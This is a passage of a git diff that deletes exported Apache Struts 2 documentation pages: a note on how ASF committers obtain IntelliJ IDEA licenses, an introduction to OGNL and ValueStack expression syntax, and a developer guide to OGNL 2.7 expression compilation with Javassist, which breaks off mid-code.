-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Stakeholder </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Interest </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td></tr></tbody></table></div>
-
-
-<h2 id="ObtainResponse-Variations">Variations </h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Step </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Variation </p></th></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>&#160;</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>&#160;</p></td></tr></tbody></table></div>
-</div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/obtaining-an-idea-license.html b/content/docs/obtaining-an-idea-license.html
deleted file mode 100644
index 1766d26..0000000
--- a/content/docs/obtaining-an-idea-license.html
+++ /dev/null
@@ -1,163 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Obtaining an IDEA license</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>&nbsp;&gt;&nbsp;<a href="obtaining-an-idea-license.html">Obtaining an IDEA license</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Obtaining an IDEA license</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29381">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29381">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29381">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29381">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29381">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29381">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h3 id="ObtaininganIDEAlicense-HowdoASFCommittersobtainanIDEAlicense?">How do ASF Committers obtain an IDEA license?</h3>
-
-<blockquote>
-<p>From: Ilya.Dumov@jetbrains.com<br clear="none">
-Subject: <a shape="rect" class="external-link" href="http://www.jetbrains.com/idea/opensource/asf.html" rel="nofollow">http://www.jetbrains.com/idea/opensource/asf.html</a></p>
-
-<p>To request your free IntelliJ IDEA license, simply send an e-mail request<br clear="none">
-from your e-mail account at apache.org to Ilya Dumov<br clear="none">
-<a shape="rect" class="external-link" href="mailto:Ilya.Dumov@jetbrains.com" rel="nofollow">Ilya.Dumov@jetbrains.com</a>.</p>
-
-<p>You'll receive a reply at your apache.org address with a link to a web<br clear="none">
-page where you can confirm your details. After your confirmation, you'll<br clear="none">
-receive your license key by e-mail within 2 business days.</p>
-
-<p>That's it! We look forward to your participation in our Open Source<br clear="none">
-initiative and thank you for your interest in IntelliJ IDEA.</p></blockquote>
-
-<h3 id="ObtaininganIDEAlicense-HowdoIgetaapache.orgemailaccounttogettheIDEALicense?">How do I get a apache.org email account to get the IDEA License?</h3>
-
-<p>The Apache Software Foundation is an organization, and not a free web host, like SourceForge or GoogleCode. An ASF account is earned by making sustained and welcome contributions to a project. For more, see</p>
-
-<ul><li><a shape="rect" class="external-link" href="http://apache.org/foundation/faq.html#joining">http://apache.org/foundation/faq.html#joining</a></li><li><a shape="rect" class="external-link" href="http://apache.org/foundation/how-it-works.html#meritocracy">http://apache.org/foundation/how-it-works.html#meritocracy</a></li><li><a shape="rect" class="external-link" href="http://struts.apache.org/helping.html">http://struts.apache.org/helping.html</a></li></ul>
-
-
-<p>The reason JetBrains (among others) give committers licenses is because we have earned them by helping to create open source products, many of which JetBrains uses internally.</p>
-</div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/ognl-basics.html b/content/docs/ognl-basics.html
deleted file mode 100644
index b40e9a6..0000000
--- a/content/docs/ognl-basics.html
+++ /dev/null
@@ -1,180 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>OGNL Basics</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="ognl.html">OGNL</a>&nbsp;&gt;&nbsp;<a href="ognl-basics.html">OGNL Basics</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">OGNL Basics</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14000">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14000">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14000">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14000">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14000">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14000">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="OGNLBasics-XWork-specificlanguagefeatures">XWork-specific language features</h2><p>The biggest addition that XWork provides on top of OGNL is the support for the ValueStack. While OGNL operates under the assumption there is only one "root", XWork's ValueStack concept requires there be many "roots".</p><p>For example, suppose we are using standard OGNL (not using XWork) and there are two objects in the OgnlContext map: "foo" -&gt; foo and "b [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">#foo.blah // returns foo.getBlah()
-#bar.blah // returns bar.getBlah()
-blah      // returns foo.getBlah() because foo is the root
-</pre>
-</div></div><p>What this means is that OGNL allows many objects in the context, but unless the object you are trying to access is the root, it must be prepended with a namespaces such as @bar. Now let's talk about how XWork is a little different...</p><div class="confluence-information-macro confluence-information-macro-information"><p class="title">Useful Information</p><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluenc [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">species    // call to animal.getSpecies()
-salary     // call to person.getSalary()
-name       // call to animal.getName() because animal is on the top
-</pre>
-</div></div><p>In the last example, there was a tie and so the animal's name was returned. Usually this is the desired effect, but sometimes you want the property of a lower-level object. To do this, XWork has added support for indexes on the ValueStack. All you have to do is:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">[0].name   // call to animal.getName()
-[1].name   // call to person.getName()
-</pre>
-</div></div><p>With expression like [0] ... [3] etc. Struts 2 will cut the stack and still return back a CompoundRoot object. To get the top of that particular stack cut, use <a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=0&amp;linkCreation=true&amp;fromPageId=14000">0</a>.top</p><div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>ognl expression</ [...]
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">@some.package.ClassName@FOO_PROPERTY
-@some.package.ClassName@someMethod()
-</pre>
-</div></div><p>However, XWork allows you to avoid having to specify the full package name and call static properties and methods of your action classes using the "vs" prefix:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;at:var at:name="vs" /&gt;FOO_PROPERTY
-&lt;at:var at:name="vs" /&gt;someMethod()
-
-&lt;at:var at:name="vs1" /&gt;FOO_PROPERTY
-&lt;at:var at:name="vs1" /&gt;someMethod()
-
-&lt;at:var at:name="vs2" /&gt;BAR_PROPERTY
-&lt;at:var at:name="vs2" /&gt;someOtherMethod()
-</pre>
-</div></div><p>"vs" stands for "value stack". The important thing to note here is that if the class name you specify is just "vs", the class for the object on the top of the stack is used. If you specify a number after the "vs" string, an object's class deeper in the stack is used instead.</p><h2 id="OGNLBasics-DifferencesfromtheWebWork1.xEL">Differences from the WebWork 1.x EL</h2><p>Besides the examples and descriptions given above, there are a few major changes in the EL since WebWork [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/ognl-expression-compilation.html b/content/docs/ognl-expression-compilation.html
deleted file mode 100644
index 21b47af..0000000
--- a/content/docs/ognl-expression-compilation.html
+++ /dev/null
@@ -1,347 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>OGNL Expression Compilation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="ognl.html">OGNL</a>&nbsp;&gt;&nbsp;<a href="ognl-expression-compilation.html">OGNL Expression Compilation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">OGNL Expression Compilation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=61661">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=61661">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=61661">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=61661">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=61661">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=61661">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This document is meant as a development/integration guide for anyone wanting to use the new OGNL 2.7 features for doing byte code runtime enhancements on OGNL statements.&#160; This is <em>not</em> meant for general user reference as it covers what are mostly internal API development concerns.</p>
-
-<h2 id="OGNLExpressionCompilation-BasicUsage">&#160;Basic Usage</h2>
-
-<p>By default there isn't much you have to do to use the new compilation abilities in OGNL.&#160; Following is an example of compiling a simple property expression and invoking it.</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>SimpleObject root = new SimpleObject();
-OgnlContext context =  (OgnlContext) Ognl.createDefaultContext(null);
-
-Node node =  (Node) Ognl.compileExpression(context, root, "user.name");
-String userName = node.getAccessor().get(context, root);
-</pre>
-</div></div>
-<p>You'll notice that this example references the new <code>ognl.enhance.ExpressionAccessor</code> class.  This is the interface used to create the enhanced expression versions of any given expression via javassist and should be used to set/get expression values from the compiled versions of the code.  Although the old <code>Ognl.getValue(node, context, root)</code> method of getting/setting values will correctly detect a compiled expression and use the accessor directly as well,  it's n [...]
-
-<h2 id="OGNLExpressionCompilation-ognl.enhance.OgnlExpressionCompiler">&#160;ognl.enhance.OgnlExpressionCompiler</h2>
-
-<p>The core class involved in doing the management of these expression compilations by default is <code>ognl.enhance.ExpressionCompiler</code>, which implements <code>ognl.enhance.OgnlExpressionCompiler</code>.  Although you can in theory use this default implementation it is not recommended for more robust integration points - such as being incorporated within a web framework.  The majority of examples here are going to be based around the strategy that Tapestry has used to integrate th [...]
-
-<h3 id="OGNLExpressionCompilation-TapestryOGNLIntegration">&#160;Tapestry OGNL Integration</h3>
-
-<p>There are only small handful of classes/services involved in the Tapestry implementation of these features, so hopefully using them as a reference will help anyone trying to get started with this:</p>
-<ul><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/tapestry/tapestry4/trunk/tapestry-framework/src/java/org/apache/tapestry/services/impl/HiveMindExpressionCompiler.java?view=markup">org.apache.tapestry.services.impl.HiveMindExpressionCompiler</a> The Tapestry implementation of <code>ognl.enhance.OgnlExpressionCompiler</code> - which is a subclass of the <code>ognl.enhance.ExpressionCompiler</code> default implementation.</li><li><a shape="rect" class="exter [...]
-*<a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/tapestry/tapestry4/trunk/tapestry-framework/src/java/org/apache/tapestry/bean/BeanProviderPropertyAccessor.java?view=markup">org.apache.tapestry.bean.BeanProviderPropertyAccessor</a> One of the custom <code>PropertyAccessor</code> classes Tapestry registers with OGNL.  This will be a good reference for the new source code generation methods you will need to implement for your <code>PropertyAccessor</code> classes i [...]
-
-
-<h3 id="OGNLExpressionCompilation-ExpressionEvaluator">&#160;ExpressionEvaluator</h3>
-
-<p>If you look at the <code>ExpressionEvaluator</code> source you'll see a block of initialization where the <code>HiveMindExpressionCompiler</code> and <code>OgnlContext</code> pools are setup:</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>OgnlRuntime.setCompiler(new HiveMindExpressionCompiler(_classFactory));
-
-_contextPool = new GenericObjectPool(new PoolableOgnlContextFactory(_ognlResolver, _typeConverter));
-
-_contextPool.setMaxActive(-1);
-_contextPool.setMaxIdle(-1);
-_contextPool.setMinEvictableIdleTimeMillis(POOL_MIN_IDLE_TIME);
-_contextPool.setTimeBetweenEvictionRunsMillis(POOL_SLEEP_TIME);
-</pre>
-</div></div>
-<p>Some things like null handlers/property accessor configuration has been left out but you should have enough there to get a good idea of what is going on.  Because creating new OgnlContext objects for every expression evaluation can be needlessly expensive Tapestry uses the Apache commons-pool library to manage pooling of these instances.  It is recommended that you do the same where you can.  You will also notice in other portions of the source some new method calls made on <code>Ognl [...]
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>OgnlRuntime.clearCache();
-Introspector.flushCaches();
-</pre>
-</div></div>
-<p>The OgnlRuntime class stores static <code>Map</code>-like instances of reflection meta cache information for all objects evaluated in OGNL expressions.  The new <code>clearCache</code> method clears these caches out as the memory footprint can get quite large after a while.  How often/when to call this will largely depend on how your framework works - just keep in mind that calling it too often will have a big impact on runtime performance of your app if you are doing normal applicati [...]
-
-<h3 id="OGNLExpressionCompilation-HiveMindExpressionCompiler">&#160;HiveMindExpressionCompiler</h3>
-
-<p>Perhaps the most important class to examine is Tapestrys implementation of <code>OgnlExpressionCompiler</code>.  This class still extends the default <code>ExpressionCompiler</code> provided by OGNL - but does a few more things that can't be made generic enough to live in the default implementation.</p>
-
-<p>One of these important differences is how Javassist is used to compile the expressions and the ClassLoader/ClassResolver it uses.  Because these expressions are being compiled against what are already Javassist enhanced Tapestry component class instances this implementation needed to re-use existing hivemind Javassist services so that these enhanced classes could be correctly resolved while OGNL is evaluating them.</p>
-
-<p>If you don't have a need to provide this kind of classloading functionality you will probably still need to modify at least how the javassist <code>ClassPool</code> is being managed in your own implementations.  The internal functionality of that library is such that the memory consumption of the pool is very large and will get unwieldy especially in development of web apps.  Tapestry has a special state that users are used to which is known as "disable caching" - more or less meaning [...]
-
-<p>Another very important piece of logic that this class handles is the generation of "fail safe" getters/setters when expressions just can't be compiled because of either internal errors or a specific syntax type used isn't yet able to support javassist compilations.  This logic can sometimes get tricky in that in many instances OGNL expressions won't be compilable because the full expression contains a null reference.  The basic idea is that the compiler keeps trying to compile these k [...]
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>"user.firstName"
-</pre>
-</div></div>
-<p>That doesn't mean that the user object might not be resolvable the next time this expression is invoked though,  so the next time the compiler tries it may succeed in which case the whole expression is enhanced and the new <code>ExpressionAccessor</code> instance is attached to the root <code>Node</code> object by calling <code>SimpleNode.setAccessor(newInstance)</code>.</p>
-
-<p>The fail safe logic is there for expressions that are likely to never be resolvable for one reason or another.  In these instances a <code>ExpressionAccessor</code> class instance is still created - with the major difference being that instead of pure java object expressions being compiled the get/set methods on the instance just call back to the standard OGNL getValue/setValue methods:</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>public Object get(OgnlContext context, Object root)
-{
-  return _node.getValue($1, $2);
-}
-</pre>
-</div></div>
-<p>The <code>$1, $2</code> references are Javassist constructs which allow you to specify the first and second argument passed in to the calling method.</p>
-
-<h3 id="OGNLExpressionCompilation-ExpressionBinding">&#160;ExpressionBinding</h3>
-
-<p>As stated previously, this class represents a single OGNL expression in Tapestry when used directly in html templates - such as:</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>&lt;div jwcid="@Input" value="ognl:user.firstName" /&gt;
-</pre>
-</div></div>
-<p>What you will want to examine in this class is how it deals with incrementally attempting expression evaluations using the local members <code>_writeFailed, _accessor</code>.  Looking through the source of this implementation will probably be the best documentation available - but keep in mind that in many instances this object also has to deal with the possibility that a write statement may never happen.</p>
-
-<h3 id="OGNLExpressionCompilation-BeanProviderPropertyAccessor/CustomPropertyAccessorimplementations">&#160;BeanProviderPropertyAccessor / Custom PropertyAccessor implementations</h3>
-
-<p>Besides the <code>OgnlExpressionCompiler</code> logic this will probably be the second most impactual area people will have to deal with in terms of having to write new code.  In this specific instance there are three new <code>PropertyAccessor</code> methods you must implement in order to compile your expressions:</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>public Class getPropertyClass(OgnlContext context, Object target, Object name)
-{
-  IBeanProvider provider = (IBeanProvider)target;
-  String beanName = ((String)name).replaceAll("\"", "");
-
-  if (provider.canProvideBean(beanName))
-    return provider.getBean(beanName).getClass();
-
